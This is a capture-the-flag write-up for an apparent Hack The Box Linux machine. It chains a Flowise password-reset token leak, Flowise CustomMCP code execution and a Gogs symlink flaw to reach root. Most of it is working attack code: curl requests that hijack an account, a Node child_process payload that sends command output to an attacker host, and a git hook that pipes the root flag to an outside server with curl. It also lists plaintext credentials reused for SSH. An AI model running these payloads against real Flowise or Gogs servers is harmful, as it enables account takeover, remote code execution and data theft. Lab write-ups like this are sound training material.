Silentium
Author: 0xIDA
Platform: HTB · Category: machine · Difficulty: Easy
Solvers
Difficulty: Easy
OS: Linux (Ubuntu + Alpine Flowise container)
IP (this run): 10.129.245.103
Hosts: silentium.htb, staging.silentium.htb, staging-v2-code.dev.silentium.htb
Attacker IP: 10.10.15.137
Flags (verified live)
| Flag | Value |
|---|---|
| user | 9e6524089c8138ea367b051df42259ed |
| root | 2abb54e56ae656709d0271acf5147e18 |
Kill chain (summary)
- Vhost staging.silentium.htb → Flowise 3.0.5
- CVE-2025-58434 — forgot-password returns
tempToken→ resetben@silentium.htb - CVE-2025-59528 — authenticated CustomMCP RCE as root in Docker
- Exfil container env → SMTP_PASSWORD reuses for host SSH as ben → user.txt
- Local Gogs (
127.0.0.1:3001,RUN_USER=root) → register + CVE-2025-8110 symlink PutContents → git hooks → root.txt
1. Recon
echo "10.129.245.103 silentium.htb staging.silentium.htb staging-v2-code.dev.silentium.htb" >> /etc/hosts
nmap -sV -sC -p- --min-rate 2000 -Pn 10.129.245.103
| Port | Service |
|---|---|
| 22 | OpenSSH 9.6p1 |
| 80 | nginx — Silentium corporate site (static) |
Vhost discovery:
curl -s -H "Host: staging.silentium.htb" http://10.129.245.103/ | head
# Flowise - Build AI Agents, Visually
curl -s http://staging.silentium.htb/api/v1/version
# {"version":"3.0.5"}
2. Flowise account takeover — CVE-2025-58434
Unauthenticated password-reset endpoint returns a live tempToken in the JSON body:
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb"}}'
# ... "tempToken":"<TOKEN>", "email":"ben@silentium.htb", "name":"admin" ...
Reset password:
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb","tempToken":"<TOKEN>","password":"Pwned123!"}}'
Login (session cookie + UI header):
s = requests.Session()
s.post("http://staging.silentium.htb/api/v1/auth/login",
json={"email":"ben@silentium.htb","password":"Pwned123!"})
# Most API routes need:
headers = {"x-request-from": "internal"}
3. Flowise RCE — CVE-2025-59528 (CustomMCP)
Authenticated call to node load method evaluates MCP config via Function():
cmd = 'curl http://ATTACKER:PORT/$(id|base64 -w0)' # or reverse shell
command = (
'({x:(function(){const cp = process.mainModule.require("child_process");'
f'cp.execSync("{cmd}");return 1;}})()})'
)
s.post(
"http://staging.silentium.htb/api/v1/node-load-method/customMCP",
headers={"x-request-from": "internal"},
json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": command}},
)
Shell context: root inside Alpine Docker (uid=0, .dockerenv).
Credential pivot
Dump process environment (base64 OOB to avoid mangling):
FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r # Flowise UI only (not host SSH)
SMTP_PASSWORD=r04D!!_R4ge # reuses on host SSH!
SMTP_HOST=mailhog
SENDER_EMAIL=ben@silentium.htb
ssh ben@10.129.245.103 # password: r04D!!_R4ge
cat ~/user.txt
# 9e6524089c8138ea367b051df42259ed
4. Root — Gogs CVE-2025-8110
On the host (as ben):
ss -lntp | grep 3001
# 127.0.0.1:3001 → /opt/gogs/gogs/gogs web (root)
app.ini highlights:
RUN_USER = root
HTTP_ADDR = 127.0.0.1
HTTP_PORT = 3001
DOMAIN = staging-v2-code.dev.silentium.htb
ROOT_PATH = /root/gogs-repositories
ENABLE_REGISTRATION_CAPTCHA = true
Access Gogs
ssh -L 13001:127.0.0.1:3001 ben@10.129.245.103
# /etc/hosts: 127.0.0.1 staging-v2-code.dev.silentium.htb
# Use URL http://staging-v2-code.dev.silentium.htb:13001 (cookie Domain must match)
Register with captcha (ddddocr/tesseract helps), create API token:
curl -u 'USER:PASS' -H 'Content-Type: application/json' \
-d '{"name":"t1"}' \
http://staging-v2-code.dev.silentium.htb:13001/api/v1/users/USER/tokens
Symlink + PutContents RCE
- Create repo via API, push an initial commit.
- Commit a symlink pointing at
/root/gogs-repositories/<user>/<repo>.git/hooks/pre-receive PUT /api/v1/repos/<user>/<repo>/contents/<symlink>with base64 shell script
(OS follows the symlink → overwrites the hook).git pushtriggers the hook as root.
Example hook:
#!/bin/bash
id | curl -s --data-binary @- http://ATTACKER/id
cat /root/root.txt | curl -s --data-binary @- http://ATTACKER/flag
exit 0
Live result:
uid=0(root) gid=0(root) groups=0(root)
2abb54e56ae656709d0271acf5147e18
Commands cheat-sheet
# hosts
echo "10.129.245.103 silentium.htb staging.silentium.htb" >> /etc/hosts
echo "127.0.0.1 staging-v2-code.dev.silentium.htb" >> /etc/hosts
# Flowise ATO
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
-H 'Content-Type: application/json' -d '{"user":{"email":"ben@silentium.htb"}}'
# reset-password with tempToken → login with x-request-from: internal
# CustomMCP RCE → dump env → SMTP_PASSWORD
ssh ben@10.129.245.103 # r04D!!_R4ge
ssh -L 13001:127.0.0.1:3001 ben@10.129.245.103
# register on Gogs, token, symlink PutContents, push → root flag
Key lessons
| Topic | Detail |
|---|---|
| Flowise 3.0.5 | Two chained CVEs: reset-token leak + CustomMCP code exec |
| API auth quirks | Cookie session needs x-request-from: internal |
| Credential reuse | SMTP_PASSWORD ≠ FLOWISE_PASSWORD; always test both |
| Gogs cookies | Domain= forces correct Host / tunnel hostname |
| CVE-2025-8110 | Symlink + PutContents bypasses path checks; hooks as RUN_USER |
Verification status
- User flag: read live from
/home/ben/user.txtvia SSH asben - Root flag: exfiltrated live via Gogs pre-receive hook as root (
uid=0)
Machine: Silentium · Easy · Linux · 10.129.245.103